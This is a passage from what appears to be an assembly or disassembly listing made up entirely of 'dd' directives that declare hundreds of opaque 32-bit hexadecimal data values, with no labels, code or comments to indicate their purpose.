		dd 0C89AB4A0h, 0D5501A00h, 0EB5A2F74h, 17A100D0h, 67BB8992h
		dd 0B5006C0Ch, 0D21B1838h, 1483F626h, 0B0F505E9h, 0D066C400h
		dd 27AC5F1Ch, 30AB2E0Ah, 0A880B44Eh, 0BF17C704h, 0CE8A00C0h
		dd 0B907851Ah, 4303C264h, 91FC9248h, 53E4A0F2h,	0A69C0052h
		dd 0ECBD373h, 0C40CBF4Bh, 0E83E854h, 1AD63E66h,	0C81C968Fh
		dd 0D728FEA0h, 6F07BCEAh, 2C1907E4h, 74BFFA20h,	0C0DC70DBh
		dd 0F7D4A338h, 0C000CA46h, 4381F561h, 0F5EA11Ah, 8D0D3C90h
		dd 409E99A0h, 0B002CD5h, 0E5D021B0h, 5071397Ah,	0BE4900Ch
		dd 44A3BF7Bh, 5C9E9980h, 0DD03BCF6h, 1C8F9174h,	69ACF020h
		dd 27E82C08h
		dd 21920050h, 26833FD4h, 0DC4D8803h, 0B0A4AA18h, 3153F017h
		dd 0E758AEC9h, 115205Ch, 0EC771F28h, 7C926B03h,	90A2A408h
		dd 66AAA0h, 0DD369C63h,	0A830D489h, 0B8002E72h,	0AB993DB9h
		dd 0F26714Dh, 68D39A82h, 7FA68E1Eh, 40ACDE3Eh, 0A7FF1239h
		dd 0FD008748h, 43A177F8h, 11015A5h, 9060EF30h, 0F481BFD7h
		dd 60086DCh, 0A74C957Ah, 0F79DDF4h, 0D6F51156h,	0CD6CC8A0h
		dd 0BF4C2160h, 65E90BC8h, 16D2838Eh, 0C8BAF269h, 1AAA444h
		dd 0C3D088EFh, 20A3323Bh, 4C001708h, 9F5CA847h,	36B89A5h
		dd 0E96521DEh, 6FE898CFh, 9B008ECDh, 699F8357h,	0AC871Bh
		dd 0D66ADF0Ch, 0A7BAF641h, 7DF0C100h, 0FA978296h, 0BC391FCFh
		dd 405D93A0h, 1B738FECh, 0D059D168h, 441A2454h,	1361E402h
		dd 205CE516h, 0F7B600E4h, 9EC860CAh, 1E00A13Ah,	28E7777Ch
		dd 0FB3F5A1Ah, 0B0E070h, 0F19CC749h, 0FB243B58h, 800D443Fh
		dd 0B31ED25Bh, 1E5BAD8h, 0D1606DE7h, 9E5C4F87h,	820BBE28h
		dd 7BC7818Ah, 90609136h, 785700D8h, 0C7EE705Ch,	0F7007D40h
		dd 0B3B161B4h, 24B838h,	39F33629h, 83488B6Dh, 0C0DB7F00h
		dd 80D82FE8h, 0E23F010Eh, 7A81D4BDh, 3DF3F8B1h,	98E8200h
		dd 332E169Ch, 29AD0054h, 0F8172FE7h, 0A3480A18h, 2B81030Ch
		dd 109387Eh, 9D2C9948h,	6068331Ch, 0DE00B39Ch, 371F666Ch
		dd 7834E0Fh, 86888A5Bh,	0B0A05F5Ch, 7D17444h, 0A3598112h
		dd 0A14C0Fh, 0BD73504Ah, 97900061h, 33B74002h, 0AA39215Fh
		dd 847F81A6h, 2E143604h, 4F64D0h, 3885370Ch, 467D4374h
		dd 2C3F23FEh, 62E80067h, 4E54A57Ah, 798784Dh, 0A7C51E51h
		dd 0FAF4A07Eh, 5D00D8AAh, 435AF05Ch, 91A181h, 0AD19A0D9h
		dd 20879D89h, 0C8E89528h, 0C40ECE00h, 2CA7FEAh,	8007000Fh
		dd 0F4D6A048h, 7B3A9CB4h, 70E080A8h, 4F5C376Bh,	75400E6h
		dd 67BA4911h, 7600C1BDh, 92F39882h, 0B0E00A1Eh,	18D5007Ah
		dd 0CC7FDCE5h, 2D28BCECh, 0DD38B0A8h, 2C0C003Fh, 0DACD0E55h
		dd 8C54004Bh, 3906DEE7h, 7F052FDDh, 6DA1CAC7h, 3D91BCD0h
		dd 1D720AB5h, 3CC0A9Bh,	0F0A11039h, 0AE02E9D8h,	0C2BBFA00h
		dd 136D672h, 0CF150076h, 0C51108DBh, 0FB3F55F7h, 0D79B84F6h
		dd 6880C24Eh, 3C22DA90h, 0C71CB5D5h, 0F481403Bh, 23ADEE8h
		dd 0C841C00h, 0D5A17FF7h, 0F97B0C96h, 56FA91B1h, 59B29E03h
		dd 88FBD735h, 7CCBCD06h, 4273003Bh, 2C283752h, 0CE078CE6h
		dd 66B5EEBh, 2490AA77h,	28B26B8h, 396510D4h, 9CE168DCh
		dd 1BE870B4h, 0FF7F4BF4h, 0BDABAF02h, 605CC17Bh, 0B38284h
		dd 9AC9F961h, 0AC9E70B6h, 62C67900h, 0A3D76A3Ch, 161800CAh
		dd 95B23FF9h, 547252A6h, 22EDE201h, 0B7032926h,	7991E420h
		dd 5CB5E451h, 0F40988CFh, 5064BEE6h, 20006290h,	8BC999AFh
		dd 3C706968h, 0D10B3A9Fh, 0C049329h, 0D5A58012h, 2E038454h
		dd 83EC7D91h, 0FF220041h, 0B50A85F2h, 8C00F9E1h, 0E5815D7Bh
		dd 1BB4E71h, 0A9400B69h, 60B18B6Ch, 0D8760E4Ch,	0D5432000h
		dd 7ED9E2CDh, 8A170E9Ch, 0DC4744C8h, 7BA6201Dh,	0EC018906h
		dd 0A788F137h, 0E1C4B118h, 0EAFA00FCh, 533BBE4h, 0C300F382h
		dd 6A9E7771h, 3BBC66E3h, 3D8031CAh, 47E89F72h, 0C13B3449h
		dd 0D640ADE2h, 94E60300h, 0A7F0A94Dh, 9C007282h, 1A503A15h
		dd 106C634h, 6F74108Fh,	0E7358319h, 33417390h, 0FF172600h
		dd 23CD8BE2h, 0F18800ACh, 3FBDB9BAh, 7F070E68h,	0B5344EC8h
		dd 132EE02Fh, 7AC07E8Ch, 3E439h, 5F2878A0h, 0A9E9D9DEh
		dd 5DBC8914h, 5B8A12F8h, 0B64060C0h, 0A6E60088h, 0B469DE81h
		dd 8B09EC6Ah, 802E20D2h, 8EAD9A34h, 353C005Ah, 0FE0A95EAh
		dd 0BF002870h, 447BB30Fh, 50AD594Ah, 17CF8CEh, 0BB5FE662h
		dd 0E0DC820Ah, 548F147h, 5C4800BCh, 0B49FB5C0h,	62F692h
		dd 2DB02ADBh, 97A568A1h, 4BF634F8h, 8075C43Eh, 4DD5F8CFh
		dd 4E0B94Eh, 0D9A42966h, 0DBCA8058h, 8F0037F9h,	9EC3D8EDh
		dd 7C4EA3h, 4CAF9267h, 6264FE52h, 0AB18A40Eh, 3F801DD8h
		dd 0AE304FF7h, 0A80339C2h, 0D406007Dh, 446F8753h, 6002FF0Eh
		dd 52EE1F5Ah, 33EAE126h, 24537120h, 7B543Ch, 0F643A548h
		dd 0D32FDA76h, 0BA1400BFh, 6F7868h, 0FA0E40F5h,	0B801EF8Bh
		dd 80A49A58h, 0F5601575h, 86D1003Ah, 308951D0h,	9800F755h
		dd 0CE2FC128h, 57F0F3Fh, 0AED64B4Fh, 0C89C8022h, 2E00A696h
		dd 34738EBFh, 901D0E94h, 2AD5B80h, 0C8213F8Ch, 4F69480h
		dd 9805C958h, 6E7AC31Ah, 5CC28080h, 1A3771Ch, 0EBB2D62Bh
		dd 6085F377h, 7E00D782h, 0EA23F608h, 9991Eh, 65ED7DF1h
		dd 0C22ACB33h, 0ECD13B01h, 0E68F937Ah, 0A8CCF0h, 0FE4516Dh
		dd 0F7FF3D26h, 0ED0986FEh, 7107B33h, 31C3C940h,	0CB4100D5h
		dd 741A94EEh, 7138C601h, 50B10069h, 0ADC7DCFAh,	0CAE10047h
		dd 0FCAEB213h, 5000D94h, 0F33B517Ah, 0BA10E8D7h, 41C0E5B0h
		dd 0A3390556h, 802554D9h, 0C5D17F3Fh, 48267200h, 3D05D6BAh
		dd 0B0CBF9F5h, 0B217FC70h, 2A1C0068h, 0DD5A38F6h, 4107FE93h
		dd 0F0AB4DA0h, 24C01B85h, 1BC48CDh, 24E0B7B3h, 7CB589E3h
		dd 0F0F03F00h, 0F78B9100h, 0C67F42F9h, 781E0002h, 0A895FACEh
		dd 0A5010779h, 0EDF22AA9h, 74D87B80h, 0F8AC009Fh, 0A1FA9A73h
		dd 9212983Fh, 4807E1F5h, 8D213EA3h, 0C8201263h,	0F1491DC4h
		dd 37E6025Fh, 7C503F02h, 0CAEC5C18h, 3234C89h, 0FB363A2Bh
		dd 9A00C2Ah, 0D1609D63h, 45F14E21h, 0B238C76Fh,	0C3807123h
		dd 0A055ECA9h, 0ACB9200h, 0A212DD1Eh, 0BFC0004Dh, 0E5C056Fh
		dd 0FCF9310Dh, 0C600FEE2h, 37DA6DB4h, 1445F338h, 0DD48F1D2h
		dd 80E80474h, 90EC04DFh, 0D3CFE57Ch, 4850DD01h,	47AB4E53h
		dd 81AE819Dh, 92C45BF1h, 0C82DE37h, 5883B05Ch, 0D021434Ch
		dd 0C138E440h, 70C1D499h, 671FF2C0h, 2A05DFB2h,	9CF0D37Ch
		dd 0B88E0046h, 9BB0605h, 0DD00B24Ah, 89C8822Ah,	4C1B1Dh
		dd 0DF631229h, 6E3D6921h, 3E52F600h, 76BC8EE8h,	33B800A9h
		dd 891AD348h, 3A768272h, 4ED6EB1Ch, 71973E80h, 3BF4324Ah
		dd 0AC00CB05h, 51EAA315h, 2E8B712h, 0FC867D17h,	637C2A00h
		dd 7584C5AFh, 0D3FE011Ah, 5085D142h, 9088F44Ah,	3403CAE4h
		dd 16F62349h, 3A56B03Eh, 731F7359h, 4A1F239h, 0C7443BAFh
		dd 0B550B04Ah, 1DAD2000h, 1A41DDF6h, 0D48406BAh, 8AFB7A2h
		dd 0A4372406h, 0E230399Eh, 9639C01Dh, 7AFD35D3h, 0D0EF6C03h
		dd 90BD564Ah, 3F9FFE8Ah, 0A600B49Eh, 0F18DDB6h,	9C0C58A2h
		dd 411EE45Fh, 37D2003Ch, 3B1F5654h, 6A00495Ch, 990B0893h
		dd 4ABEA5Dh, 0FC5A034Dh, 0CDBCA015h, 26732800h,	0EC62F76Fh
		dd 75C80085h, 0E17BB43Dh, 8A011CDBh, 0D4A8C42Eh, 7420C3AAh
		dd 9F1E1EF0h, 80E4DE13h, 50B0957Bh, 1207450Ch, 0D6DCF74Eh
		dd 17818FC4h, 5C7C1E52h, 0EF968A01h, 241A091Fh,	79006A94h
		dd 7F194431h, 2465C4A7h, 43541FBBh, 6D0D50Bh, 0F5907EC9h
		dd 48BE0D24h, 4A52580h,	0E70E57h, 0DF2DF3BBh, 4171B5BCh
		dd 6CBD0C00h, 9CC1352Bh, 82570058h, 0AEC27CF6h,	94F3311Ch
		dd 0E4043010h, 2830C91Ch, 0FF6F90h, 20E919B9h, 14F8A14Dh
		dd 87F06217h, 411D1F02h, 0A307578Fh, 792EB3E5h,	5C519FF0h
		dd 0DF332A00h, 448A4136h, 0EEC10110h, 0A7F85B61h, 7117608Bh
		dd 98B45400h, 0AA99246h, 73D60033h, 0AEA5F5BEh,	0D802422Bh
		dd 0C8ABD5CDh, 3DA6343h
		dd 0FD33A750h, 0FBC8A0B0h, 2100F3C7h, 157195E1h, 0EF72AC0h
		dd 7D4CB363h, 27A6CBA0h, 0B000D83Eh, 45F4A08Ah,	0DDC226h
		dd 0BBB42BE9h, 491DCE51h, 0F1008DEEh, 8078F75Ah, 0FC3CEB74h
		dd 5C751895h, 3FFC80ADh, 0FD0A8201h, 5A77C326h,	50421980h
		dd 0EA3B4060h, 0FD798000h, 133F4E89h, 93D700ABh, 1A9BE85Ah
		dd 0F10FC36Bh, 0A05E03C9h, 75D386B0h, 4B4E00E7h, 586B7D20h
		dd 8A00CE3Dh, 0FD072BD9h, 77B2ADh, 0D64464E2h, 22BFE85Ch
		dd 380D1326h, 6AD4C10Fh, 0A99FE81Fh, 0E5429080h, 0A0D304D9h
		dd 987FBA4h, 4693AA21h,	23F73000h, 5F4C0B13h, 2582005Ch
		dd 62B52722h, 0A24400B1h, 0D9609754h, 0D3498E20h, 0EE44808h
		dd 80FF407Eh, 1D2F1E78h, 3ADEF8EAh, 0F24904h, 552E5C3Eh
		dd 0AC99EE44h, 6C9B5E00h, 0F9090E16h, 0BACA0253h, 94C95C1Bh
		dd 0DBA49880h, 620A768Ch, 0CC6C8852h, 7A73CA00h, 950F89h
		dd 71773E78h, 74DEE1ABh, 4C808700h, 73EB220Ch, 0FC38003Ch
		dd 9F080E75h, 0C80056BCh, 8EA44F78h, 1AE7F76h, 1B868A49h
		dd 0F0DCD04Bh, 1C1C12CDh, 87407562h, 95F3836Bh,	1068076Ah
		dd 10A0F64Ch, 49B3CF1Dh, 0C93DA472h, 91650059h,	0CB4D4851h
		dd 53230044h, 944B0688h, 0A10058EEh, 3986D537h,	705257h
		dd 0DD532723h, 7ABA28Eh, 0FC356F00h, 0BA71A459h, 264B0030h
		dd 44C3191Ch, 5A1C724Fh, 1DC39D64h, 0E8569CB9h,	75618FD5h
		dd 37413D55h, 2A0C4880h, 1FDA70C4h, 51841100h, 0C74C0BF8h
		dd 0FA313B54h, 496DE201h, 0CC93F120h, 0FF036807h, 7CF99F28h
		dd 99691D91h, 10264C92h, 31033830h, 56507427h, 0EF93A0C4h
		dd 2A98B3h, 2BA5222Dh, 87EA0386h, 426C600h, 0E8F22E7Eh
		dd 63E4C3h, 9DACF4EDh, 0B001185Bh, 0C6E0396Eh, 91128Ah
		dd 0EAFD2F32h, 0C23EE430h, 9F41CB00h, 8A7A2B82h, 8DFA03E1h
		dd 0BE07B4D3h, 465FA000h, 1A45A48Bh, 0B37400B5h, 0D5E0604Eh
		dd 756ED8C9h, 44439E41h, 0A2EA422Dh, 0A02040F8h, 6F3C007Bh
		dd 0FAE7BCB6h, 6007E9F0h, 629982BDh, 9A619D80h,	0A39400DCh
		dd 0C03A4F4Ch, 6E247BC4h, 4600BFE9h, 87CE90F7h,	428F00C1h
		dd 3E6D4B8Bh, 0BA00ED9Ah, 0D5E5F949h, 0B896BECFh, 659F0045h
		dd 9B1CD9A2h, 0E1269D0Bh, 1900CEE6h, 4C596929h,	8BD300F7h
		dd 0FEB5FB21h, 481D56AFh, 0BC800E8Ch, 653496C5h, 1ED20C9Bh
		dd 0D34172A4h, 0A649B100h, 0FC1199B2h, 542A0071h, 3080886Bh
		dd 8F0006ABh, 0B3A3249h, 0AEF569h, 0BE643C6Ah, 0DCA8FBA2h
		dd 0D0581800h, 96E4E5CCh, 0F1A500F3h, 9795EF8Eh, 0BE007A86h
		dd 0C39D0F1Dh, 47357E7h, 0E3FEB1B6h, 0BD7B8002h, 8F1F69F4h
		dd 0A4803260h, 0D254369Bh, 40800FEh, 6D587774h,	3A7ACB87h
		dd 0A9125FE0h, 1000A12Ch, 0BCB016A6h, 35830182h, 0BAC5E7D0h
		dd 88AF85Bh, 9ADE0903h,	98335101h, 982BA035h, 7B4E001Eh
		dd 82B788B9h, 0A8C0E59Dh, 7C90C08Eh, 9BD90067h,	3EF48683h
		dd 330093D3h, 51DA04DBh, 6D21C63h, 0B5EBDE97h, 5C003866h
		dd 0E6281D91h, 0B0A81AFBh, 500C3E8Ah, 9CD0EAB0h, 8F7CB85Dh
		dd 0FF43CC00h, 0A34CA0A2h, 285F0701h, 5E04B410h, 0E4C0E74Eh
		dd 4002B143h, 77FA3Eh, 0EF7232F1h, 5D3A38h, 31C6210Fh
		dd 0DA6B106Ah, 1820F630h, 3001238Fh, 3140F3E4h,	610054CAh
		dd 0AF8C123Fh, 56E2AD7h, 9B0F0617h, 0FAA008FFh,	0E3F2D340h
		dd 0C2A800D7h, 0A6282533h, 0FBE86B3Bh, 6CBA0400h, 0DF63A529h
		dd 0B30C011Eh, 6BF908C0h, 14CC400Dh, 0E8033ADEh, 537D889Fh
		dd 0BC1906A4h, 417C6389h, 9ED14A00h, 368E258Ch,	0DE9040h
		dd 0A18FC93Dh, 0EA41B6D3h, 78217906h, 8912A7h, 6180DA7Ah
		dd 0C06AE5E1h, 8AF17D00h, 6C282F2Ch, 5E7E1C83h,	0F258401Bh
		dd 0F4475DB7h, 4B413B02h, 8085F04Fh, 975BF770h,	0AA31079Fh
		dd 804BE02Fh, 0DC627A1Ch, 4F0EB800h, 4C086A5Fh,	0BB5E0FE7h
		dd 51601EE0h, 0C48FF812h, 90F07600h, 0D833BE1Dh, 6F811D68h
		dd 82EC8977h, 32509380h, 19C06B9Fh, 93DCDF8h, 0A0101D76h
		dd 59037BB5h, 3E625429h, 0D82428C0h, 0E60087F0h, 0EBA6E351h
		dd 6F387Ah, 9D954BB8h, 0F014BBE0h, 68FAB9A0h, 0AEADBD00h
		dd 0A0AF9387h, 0D5A584Ah, 2B7DE200h, 9D3F4072h,	9E00FDF0h
		dd 80DF2861h, 0F53B8496h, 0A8255930h, 4B93F8h, 0C8CA94F7h
		dd 30C29C10h, 0D7A47800h, 66BB793Bh, 0A3800038h, 0B56721E9h
		dd 6A002AE0h, 702856CAh, 0F2CFEBCh, 16F4B054h, 7675B940h
		dd 0EA30DDE3h, 7E2860FBh, 0C05274EBh, 9B34D070h, 6C74D65Ch
		dd 6145674h, 0C10C77Dh,	39FA19DEh, 73352C78h, 1D2D1DC5h
		dd 181D9B80h, 71E00DC3h, 2F00CD20h, 0D653F71Ch,	0ADE752Dh
		dd 0ED7E88BBh, 440F3E28h, 281D819Bh, 82460848h,	3C244Ah
		dd 0E82593A3h, 8BF76Bh,	8A48446Ah, 538AB37h, 83FF30C0h
		dd 66782417h, 98E0903Dh, 0C57C8F09h, 7580DD52h,	3BB0295Ah
		dd 0B744500h, 0F1F3AE32h, 0F4E101B8h, 0E75C08D3h, 0B57ADCE0h
		dd 0EE15DA00h, 0F16CBDCCh, 30E202h, 5C0EAA36h, 2941FEE5h
		dd 262B1100h, 0A5554765h, 0F3E878h, 3D750198h, 6036251Ch
		dd 0FFD1FE65h, 4BA043Ah, 224E7ABFh, 6DE9CC81h, 4024199Eh
		dd 0C053D0E8h, 0D800AC71h, 1843D964h, 67870D2h,	8E7AA34Ah
		dd 8A1E3820h, 5A07E625h, 54810371h, 61802136h, 8AB77F3Dh
		dd 0E7036974h, 7017A4B6h, 0F98315h, 0C88B4C89h,	0DE5EF81Dh
		dd 0A69B2407h, 804F1A1Fh, 0E9F4C719h, 30297157h, 66605412h
		dd 0AF3E11DEh, 0C4A793B1h, 0D621A703h, 0A6D90E13h, 3F00AB19h
		dd 0B9434540h, 0B042F700h, 0D1F306CFh, 2885016Eh, 0F0204CEh
		dd 0D060B2F1h, 26B62092h, 0ECB2BE03h, 35D07E00h, 0A1464DA8h
		dd 7C2A50BCh, 0A5502989h, 0B9048384h, 1C05FE4h,	0ED00CA7Fh
		dd 568F1D57h, 6E02BB5h,	0EB75837h, 4100B0D7h, 7C241084h
		dd 1975F3Fh, 0A31C62D3h, 806DF222h, 894757E8h, 4C988672h
		dd 4004CF0h, 0CF45781Ch, 36307AA2h, 85EB286Ch, 80F4AF2Bh
		dd 0B26E5694h, 75075A60h, 665282A3h, 6FC191C7h,	65D49ECAh
		dd 0FF9F00CBh, 0B367A34Eh, 7E005F4Dh, 86CF506Bh, 1FB75551h
		dd 9F625A95h, 4C8C802Bh, 0D3F93FBDh, 191AEF15h,	567501FCh
		dd 654622A5h, 0C300A0B8h, 0D4544F32h, 0BA2027E8h, 0D1890A52h
		dd 7C08D13h, 0E3CF02BFh, 23EBF71Dh, 198447D8h, 20856730h
		dd 29186B28h, 0E22074AFh, 0B33122BEh, 0D7FDA8E1h, 300A42F4h
		dd 8B907C52h, 0FC6E33F9h, 0C174C038h, 0F04A2BB4h, 7F98A853h
		dd 5E3C008Fh, 49B9CD6h,	8DC67DEh, 769221F0h, 1B16003Ch
		dd 66E412Bh, 0BC12F9C9h, 8434E1DAh, 2C4DFC4Ah, 5B3C7240h
		dd 227446D6h, 759D0061h, 10AB913Ch, 7915E67Eh, 0E4F603h
		dd 4BD79985h, 0E3BA594h, 830576Fh, 0DC101DA1h, 39F45031h
		dd 0FCAA1273h, 59009363h, 3EDB5B2Eh, 0A16A82h, 6F9F1B22h
		dd 9B54DE5Ah, 0D3607D1Fh, 755F6B01h, 418004D7h,	44E4A420h
		dd 470CBA8Ah, 89281FBh,	4321C015h, 62ABE4ACh, 2B7D609h
		dd 5900010Ah, 0D826168Ch, 715F6A0Ah, 0E4B8402Ch, 0DA468A40h
		dd 0A0F41B22h, 0FA91E400h, 0CDC4BEE6h, 8F031392h, 0DC5844BFh
		dd 765819FFh, 41C04019h, 2CA4C28Ah, 0E0401445h,	3A6773E4h
		dd 8E0018D4h, 8D63809h,	5F04F858h, 0FEEF0234h, 7E860C80h
		dd 4F6100E8h, 0BD536B5Eh, 66609A72h, 0A56268D0h, 0B0E20987h
		dd 0A600E5BCh, 378DD444h
		dd 85F64F06h, 1583969h,	1A0CEDB7h, 80D3A204h, 3170AD29h
		dd 0EC015564h, 174B903h, 721C5A9Fh, 2473F476h, 8457E33h
		dd 0BD210387h, 152D1C53h, 4C6D4B90h, 0BF5C5405h, 0BC04099Ah
		dd 38865F45h, 7CA04658h, 76891C08h, 58B8707Dh, 5B791C00h
		dd 749A9892h, 0A5F8F8D7h, 6086C424h, 3BF62A21h,	108B69D3h
		dd 0DC9026D4h, 61503622h, 5549E9A0h, 5907074Ch,	3C300DC7h
		dd 984FA49Bh, 8110E3C4h, 0BC006C3Dh, 0E7BD7921h, 0C12A2B06h
		dd 62A7D638h, 7CA430D8h, 3866C131h, 33002782h, 3E2D31Fh
		dd 0ABEC98C2h, 0E4C445B4h, 0F7936064h, 713F00C4h, 106284D8h
		dd 730A1618h, 0F03505B6h, 46A71102h, 0BCC08227h, 0C0484D6Bh
		dd 1C3F8293h, 0A4969B13h, 6890EC1Ch, 2497F73h, 0BDA7E438h
		dd 0D8486033h, 0C8776CB0h, 0E7018C0Bh, 3E90148Ah, 91841781h
		dd 8DBEB44Bh, 1A9C3098h, 6FB9940Bh, 0F0C010A3h,	0F95E6A83h
		dd 8AE30184h, 38C77D1h,	3756E182h, 4801402Dh, 0A2B8C441h
		dd 0AB53E86Bh, 3408BB66h, 49660F21h, 3680E3C4h,	0FE2CDAD9h
		dd 26E80F11h, 4202230Ch, 0D1128DA9h, 0B840886Fh, 0A7D5FA74h
		dd 0A8105126h, 30AC4042h, 8D111C5Bh, 84885D76h,	1C54BC80h
		dd 5609A38h, 0CFA80563h, 22D8809Dh, 0F706028Fh,	9973D1C6h
		dd 54754C70h, 60804300h, 0D7A56E40h, 7ECC0854h,	0D807D300h
		dd 582F204Dh, 73463D8Ch, 2F405B9h, 9DC5A0F6h, 8CB050FFh
		dd 0A611C447h, 3388BBA2h, 0C44F6887h, 0DD620AC0h, 0E08C04E9h
		dd 853D6DB6h, 49DC0924h, 3C8E5030h, 94435F7Eh, 3C719180h
		dd 7D0039ADh, 83BD8BFDh, 0B68546Ah, 0EA5A30E9h,	0A4048C9Ah
		dd 0D40265AFh, 0B1457670h, 0BF108AA4h, 0E63C1C51h, 0A819BB92h
		dd 44999889h, 7D856580h, 0B926A22h, 0D1E03D59h,	6111A01Dh
		dd 0F079AE80h, 1D288E74h, 0ECA38447h, 430DDAh, 4C4484EAh
		dd 4C40B4ACh, 0A6058C7Bh, 0AA8A46E4h, 4101548Eh, 0DE9E4AEh
		dd 3243937h, 27193BD5h,	881B588h, 89D5EF1h, 0AF5107F9h
		dd 0AD80CE75h, 0A75BAE38h, 104D7B0Bh, 622C838Eh, 7F2ED068h
		dd 74732AA5h, 52490FA0h, 10789A6h, 43A85A68h, 890011D6h
		dd 0C763A55Bh, 39E904D0h, 0A300125Dh, 0DEE147EEh, 0B9DF8A0Ah
		dd 80F9689Ah, 0AE0376C4h, 1DAF4FCh, 0ED0EAA23h,	24478F88h
		dd 9987D4h, 0CC108040h,	3B860972h, 301DD3C9h, 0C209C6B9h
		dd 885041DCh, 0BF59F800h, 8EAC8884h, 0D848EFD5h, 761440B6h
		dd 464CADF8h, 0EAB8A08Ch, 0A359CE63h, 3060252Eh, 843C19A5h
		dd 7C646900h, 0AC41B1D1h, 895200C8h, 1A81468h, 3954366Fh
		dd 97901ED8h, 7DEB200h,	819B03E3h, 12C50326h, 24DDA9F2h
		dd 6BBAE1CFh, 7A1020B6h, 0E4A5048Ch, 62A28A45h,	0AD42201Dh
		dd 0A3AC4E4h, 8AF30769h, 86005EDDh, 6A6AD7D5h, 0CAD8C82Ah
		dd 380CAB0h, 1F16B7EBh,	9D962805h, 90215F85h, 0E5F32202h
		dd 8588F88Eh, 97E2C2C0h, 0ECBA002Bh, 22A2BF1Fh,	0F4A064DEh
		dd 8B061BB2h, 41A58639h, 0BC900B70h, 54A47A22h,	0C5ACF4E8h
		dd 82C33B02h, 5A7538AEh, 0C4E85894h, 0DA3BBC80h, 390979BBh
		dd 0A74244DCh, 0A0D9B8C8h, 674D7864h, 0E94F2419h, 74810284h
		dd 8040A4FBh, 6448D601h, 23371020h, 0E15D5F00h,	0A3EB0E92h
		dd 0FE8A4306h, 0B130F675h, 1885D12Ch, 275502C1h, 0AB0CB3E9h
		dd 60E1BCE1h, 0F6422380h, 775F6A82h, 0BA04004Ch, 0CA8A42E4h
		dd 0A2004538h, 64DB0BE4h, 7A2FF6B2h, 0B857023Ch, 4213D2B0h
		dd 0A111A865h, 8E1C5E80h, 60A57576h, 1C57B901h,	56D4D831h
		dd 1288B099h, 0CE2942h,	0EAAE0BE0h, 3B2CDB57h, 616050C7h
		dd 7EF6BB59h, 877B0F80h, 0FD0F7144h, 0D04CABE5h, 1E532704h
		dd 786A9A24h, 17465Eh, 0AFF72910h, 4A119676h, 0D784024Ch
		dd 58420B8Eh, 0F7C050EDh, 471D8F1h, 36CC7550h, 86089038h
		dd 1000A69Bh, 0A7D93FACh, 8E083Ch, 18A9ADC1h, 0CB74721Eh
		dd 52B4E957h, 308BE214h, 0BA06594Bh, 0DD7F12Eh,	0B1471DF1h
		dd 98DA0083h, 772C9AA7h, 48ED6924h, 6BCE2804h, 1BC8188Bh
		dd 4E2EE1C0h, 0D1032E4Ah, 86760216h, 0A4822029h, 0B0E4A068h
		dd 0E174BEF8h, 748B3496h, 467482CFh, 25200C19h,	12B14540h
		dd 6E6BC7BFh, 3F90060h,	7DC842Eh, 9DC30166h, 6B7D5A4h
		dd 0D6689712h, 3BE07027h, 249EAF05h, 2CDC98F3h,	0BE0001Ch
		dd 1D7B391Fh, 890914B2h, 9F06FE1h, 58F0C648h, 8C73284Fh
		dd 0A3C702Ch, 28626416h, 7B9F2065h, 7300493Ch, 0C53210B8h
		dd 678BF0DDh, 0B47215Dh, 6D3B24C8h, 0D6E8DF0Ch,	0E67B10Ch
		dd 0CE91897Fh, 533D4F80h, 8CEAC0FAh, 50BD4526h,	80B80394h
		dd 1EADCD29h, 5E8C061Ah, 490A7439h, 0D8D70F2Eh,	0D1700349h
		dd 0ACB10CD5h, 5B41F702h, 0A614DB00h, 8E5948FFh, 0B06B4947h
		dd 4638C9B8h, 8E10767Dh, 8BE52355h, 0C08788CCh,	0AFBB609Bh
		dd 8E168490h, 48283111h, 278C2659h, 18670F30h, 1E84EF40h
		dd 0FC99D744h, 839A003Fh, 2B34FCBEh, 0C8E60363h, 0FDDB96F4h
		dd 99EB6C0h, 8160035Ch,	0EB1D5306h, 0E6D4A371h,	4BBC07E8h
		dd 0B03519DAh, 0BA0F88C4h, 68401C26h, 62FDF309h, 0C490E51Ch
		dd 6B34604Dh, 0A361005Ah, 0B084948Dh, 0BE24CFE9h, 9CA198EBh
		dd 1E1882F1h, 25701C90h, 65EAC70Fh, 198C0292h, 920D08Bh
		dd 56CE02BDh, 176458E7h, 48246760h, 0ED78514h, 0BF6E000Ch
		dd 0A91E020h, 64380012h, 0EB8A6C43h, 1A627ED7h,	0E74440D0h
		dd 606344D0h, 18435ABFh, 0B86B1A2Ah, 0BCA17B8Bh, 5C401857h
		dd 63251CC4h, 6102D896h, 39E0C448h, 0B94C7270h,	2DB10040h
		dd 6DF9F8D6h, 93E33700h, 8FB8051Dh, 1C74262Ah, 8CC80C1Ch
		dd 58C5579h, 0A2B9C442h, 67F83853h, 96C44A00h, 974C6C24h
		dd 2CB70064h, 8259F38Ch, 0E26404Dh, 0D03B6A8Ah,	2A1055D0h
		dd 304A65AAh, 9E7661E4h, 84443D24h, 0C340F02Eh,	2407DFC2h
		dd 8004F503h, 417588CEh, 6002BB0Bh, 6851D184h, 86607AAAh
		dd 0B5F4DCh, 32578DC7h,	0ABED43F1h, 0DC255406h,	1261A06Fh
		dd 428C4128h, 0E0D46604h, 3BF84E0h, 2002499h, 0FEF0CEE9h
		dd 60497CA7h, 7B81198Dh, 0C8731F64h, 0A5D71507h, 86A03F20h
		dd 12A47592h, 903758F1h, 35A7577Ch, 0F5F78900h,	0DB5A1F8Ah
		dd 36760E05h, 3B6C73F6h, 0BF007929h, 5B47EB64h,	51C5F8h
		dd 8656E98Bh, 68AE2E84h, 0D0624426h, 60CC0D42h,	483B01BAh
		dd 37F8D8F4h, 9CE6258Ch, 0BCB13498h, 0DE5E67EAh, 7831B3F1h
		dd 82A22463h, 2FA730h, 1AFFB516h, 0D652CBD7h, 0CF203098h
		dd 3AEE029Eh, 0BF383C6Dh, 16795CD9h, 0E60F5518h, 89222AAAh
		dd 5798415Dh, 0DECE2310h, 3006D801h, 353751CAh,	6147F980h
		dd 87BC1716h, 5B938h, 407C2432h, 78D043h, 0A54AE8D4h, 18C468Dh
		dd 1FA07759h, 0E064FFBDh, 0E8207443h, 0C9C76Fh,	0FD9E4A22h
		dd 1DBBDC44h, 5D6CDD00h, 0D45A2A9Dh, 0BDF60928h, 28684FF5h
		dd 74800CDAh, 258937BEh, 0ACD48418h, 0E8004830h, 0FD708C36h
		dd 10887A4Ch, 8813894Fh, 45C90D7h, 0B6001001h, 0EAF398C7h
		dd 770FEA9h, 0DEE3DDFBh, 0F5DFE517h, 8E5EF040h,	0C8C9D100h
		dd 0B0D657EDh, 2187951h, 0A2B7284Ch, 786324FBh,	3C8D60C4h
